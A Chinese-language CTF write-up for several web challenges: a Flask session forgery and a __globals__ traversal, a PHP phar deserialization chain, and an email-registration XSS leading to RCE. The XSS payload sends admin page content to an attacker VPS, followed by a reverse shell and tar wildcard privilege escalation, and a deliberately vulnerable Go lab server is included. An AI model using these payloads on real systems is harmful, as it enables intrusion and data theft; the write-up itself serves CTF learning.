    再有就是我没想到hint里的路径和真实路径不同,感觉这就是专门用来误导的,而我确实不知道/proc目录查看真实路径的姿势,所以赛中真的懵了,膜ak web的大佬,看来开发和安全需要的知识差别还是不小

    所以这里通过/static?file=/proc/self/cwd/app/__init__.py读到密钥,然后读视图文件的代码,先是用github的脚本伪造客户端Session(我最开始使用脚本伪造的session一直有问题,后来发现是我的itsdangerous库只有0.2.3版本一直没更新,而现在都是1.x了),从而获得admin身份和1e10+的钱

    然后就是一个通过实例、类、它们的方法、全局命名空间的变量跳转访问了(因为这个题限制了函数调用):

    这里我们可以传入g.u.{},来访问g.u的成员,g变量是flask四种全局变量之一,它一般是用来保存请求的全局临时变量,各请求间的值是独立的,它处于current_app同一个全局空间下,所以这里我们先获取__globals__,但只有函数有这个魔术变量(知道它里面有__doc__这种成员变量就很好理解了),所以按题目hint,先访问当前请求用户g.usave方法:

    查看当前全局变量
    save.__globals__
    
    访问SQLAlchemy实例engine
    [db]
    
    再次查看全局
    .__init__.__globals__
    
    访问current_app
    [current_app]
    
    访问与g变量关联的函数before_request/after_request
    .after_request.__globals__
    
    查看g对象所有成员变量
    [g].__dict__
    

    完整payload:

    field=save.__globals__[db].__init__.__globals__[current_app].before_request.__globals__[g].__dict__


    Simple PHP

    这道题我开始读到class.php时还在想这么多类咋没用到,之后听别人题型才知道反序列化不一定需要serialize,早就听说今年BlackHat大会爆出的phar协议漏洞而一直没实践

    知道该干嘛后就很简单了,通过一组类的魔术方法构造利用链:

    $o3 = new Test();
    $o3 -> params = array();
    $o3 -> params["source"] = "/var/www/html/f1ag.php";
    $o2 = new Show("hacked");
    $o2 -> str = array();
    $o2 -> str['str'] = $o3;
    $o1 = new C1e4r($o2);
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($o1);
    $phar->addFromString("f1ag.php", "test");
    $phar->stopBuffering();
    

    然后上传,md5一下文件名+IP,phar协议文件包含读flag就ok了


    有趣的邮箱注册

    这道题的提权部分还帮了我大忙,我把它的通配符提权拿出来写了个http server用在周五的讲课上了

    进入题目知道是ssrf,需要绕过邮箱的验证:

    "[xss payload]"@null.com

    然后读源码:

    xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.location='http://vps:4444/?'+btoa(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET","admin.php",true);
    xmlhttp.send();
    

    发现是个RCE:

    href="admin/a0a.php?cmd=whoami"

    然后反弹一个shell到VPS:

    echo [payload base64] | base64 -d > /tmp/shell.sh
    ?cmd=/bin/bash /tmp/shell.sh
    

    接着会发现根目录下的flag文件权限为400,所有者为flag,接着能够在web目录发现一个目录,里面有一个文件上传,且有tar的备份,利用tar指令的--checkpoint-action参数结合通配符完成提权


    Linux通配符 + tar指令提权复现靶机环境地址:https://github.com/EddieIvan01/Tar-Vuln-server

    Server代码:

    package main
    
    import (
    	"io"
    	"io/ioutil"
    	"log"
    	"os"
    	"os/exec"
    
    	"github.com/gin-gonic/gin"
    )
    
    func index_get(ctx *gin.Context) {
    	cmd := exec.Command("ls")
    	result, _ := cmd.Output()
    	ctx.HTML(200, "index.html", string(result))
    }
    
    func index_post(ctx *gin.Context) {
    	file, _ := ctx.FormFile("file")
    	file_content, _ := file.Open()
    	defer file_content.Close()
    	filename := file.Filename
    	fp, _ := os.Create(filename)
    	defer fp.Close()
    	_, err := io.Copy(fp, file_content)
    	if err != nil {
    		log.Println(err.Error())
    	}
    }
    
    func read_file(ctx *gin.Context) {
    	filename, _ := ctx.GetQuery("file")
    	log.Println(filename)
    	content, err := ioutil.ReadFile(filename)
    	if err != nil {
    		log.Println(err.Error())
    	}
    	ctx.String(200, "%s", content)
    }
    
    func main() {
    	router := gin.Default()
    	router.LoadHTMLGlob("templates/*")
    	router.GET("/", index_get)
    	router.POST("/", index_post)
    	router.GET("/readfile", read_file)
    	router.Run(":2333")
    }
    

    root用户执行的crontab.sh

    #!/bin/bash
    while true
    do
    tar -zcf 1.tgz *
    sleep 60
    done
    

    本来想直接用crontab来定时备份的,但后来发现加入绝对路径后就崩了,所以Linux通配符提权那篇文章里写的可能是想当然了,因为tar -zcf /xx/xx.tgz /xxx/*通配符扩展后为tar -zcf /xx/xx.tgz /xxx/--checkpoint=1,当然是不正确的,所以可能需要某种方式设置crontab的执行目录